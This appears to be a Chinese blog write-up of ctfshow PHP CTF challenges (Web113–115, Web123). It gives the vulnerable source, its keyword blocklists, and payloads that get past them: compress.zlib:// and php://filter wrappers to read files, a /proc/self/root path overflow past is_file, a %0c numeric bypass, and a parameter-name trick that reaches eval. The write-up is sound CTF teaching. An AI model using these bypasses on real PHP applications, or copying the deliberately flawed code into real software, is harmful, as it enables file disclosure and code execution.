今天继续给大家带来php特性的CTF题目讲解,说实话每次回头看写的文章,总能学到新东西;
文章目录
Web113
直接看源代码:
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
通过代码,我们可以发现这个与Web112 差不多:
多了对filter
关键字的过滤,其实就是禁止了我们的**php://filter/**的使用;
那接下来我们有什么协议能用呢?
代码分析
- 程序会把
$_GET['file']
赋给$file
。 - 先用
is_file($file)
判断:如果不是(! is_file(file))则走 **highlight_file(filter(file))** ;反之输出hacker!
。- 也就是说:只有 目标"不是普通存在的文件" 时,代码才去 highlight_file 该值(故意让你用流/包装器来读取)。
filter()
会拒绝含有这些关键字(不区分大小写):filter, .../, http, https, data, rot13, base64, string。- 这会直接拦截
php://filter/convert.base64-encode/
这种常见绕过,因为 filter 与 base64 被列入黑名单。
- 这会直接拦截
- 漏洞类型:LFI (Local File Include / read)通过流包装器绕过/利用。目标是让 highlight_file(...) 输出我们想看的目标(例如 flag 源码)。
没办法,只能使用上一关的compress.zlib://
协议了:

bash
# payload
?file=compress.zlib://flag.php
--
方法二:利用函数所能处理的长度限制进行目录溢出(官方WP)
bash
# payload
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。

--
Web114
页面显示如下:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
没想到我们的compress
协议最终还是难逃一死,难道真的只能用目录溢出这种方法吗?
答案 :但是我们发现,filter
关键词竟然被放出来了,那就由不得你了。
回归最朴实无华的payload:编码也不要了

bash
# payload
?file=php://filter/resource=flag.php
(之前的目录溢出在这关失效了。。。)
Web115(新题型)
php
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
代码分析
filter($num)
函数:- 它将字符串中的 "0x", "0", ".", "e", "+" 全部替换成了 "1"。
- 也就是禁止我们使用八 / 十六 进制 ,小数点 ,科学计数法 以及正负数;
- 第一个
if
条件: - if(is_numeric(num) and num!'36' and trim(num)!' 36' and filter(num)=='36')
is_numeric($num)
: 检查 $num 是否是数字或数字字符串。这个条件是绕过的关键。$num!=='36' 和 trim($num)!=='36'
: 这两个是强类型比较。!== 运算符不仅比较值,还比较变量类型。这意味着 $num 的值和类型都不能是字符串 '36'。filter($num)=='36'
: 这是一个弱类型比较。== 运算符只比较值。经过 filter 函数处理后的 $num 字符串,其值必须等于字符串 '36'。
解题思路
is_numeric($num)
: 传入的 $num 必须是一个数字或数字字符串。$num!=='36' 和 trim($num)!=='36'
: $num 不能是字符串 '36'。filter($num)=='36'
: filter 函数会替换 "0x", "0", ".", "e", "+" 为 "1"。要使处理后的结果为 '36',我们可以在输入中包含这些字符。$num=='36'
: 传入的 $num 必须在弱类型比较下等于 36。
题目与Web90 差不多(可以看本篇文章),但是感觉把我们的路都封死了,
官方WP :
在php中"36"是等于
\x0c36
的,同时trim也不会过滤掉\x0c
也就是%0c
- %0c==\f
- 所以payload: /?num=%0c36
bash
# payload
?num=%0c36
我真的没招了。

Web123
嗯?怎么直接到Web123 了,我的Web116 呢?
我也不知道啊,题目就是这样的:

所以还是先看代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
看到$_SERVER
,我一下又感觉回到了熟悉的场景:Web98(新题型)
代码分析
- POST 参数 :
CTF_SHOW
和CTF_SHOW.COM
必须存在。fun
参数的值就是我们希望执行的命令。
- fun 参数 的限制:
- 不能包含黑名单中的特殊字符。
- 其值在弱类型比较下必须小于或等于 18。
eval()
代码:- 执行后必须创建一个变量
$fl0g
,并将其值严格设置为 "flag_give_me"。
- 执行后必须创建一个变量
if ($fl0g === "flag_give_me")
:- 这部分是获取 flag 的关键。它要求一个名为 $fl0g 的变量必须严格等于字符串 "flag_give_me"。
- 这个
$fl0g
变量是由我们通过 eval() 函数执行的代码来创建和赋值的。
payload
所以我尝试构造了一个payload:
CTF_SHOW=&CTF_SHOW.COM=&fun=extract($_POST,0)&fl0g=flag_give_me
但没有反应。。
随后看了WP,发现忽略了一点:
- 根据代码: c = c= c=_POST['fun'];和eval("$c".";");
- 我的代码带入后就变成了
eval("extract($_POST,0)&fl0g=flag_give_me".";");
并且
fl0g
参数是要不存在才满足条件:
- 具体代码:if(!isset($_GET['fl0g'])
bash
# payload
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

也是得到flag。。
总结
没什么好说的,温故而知新;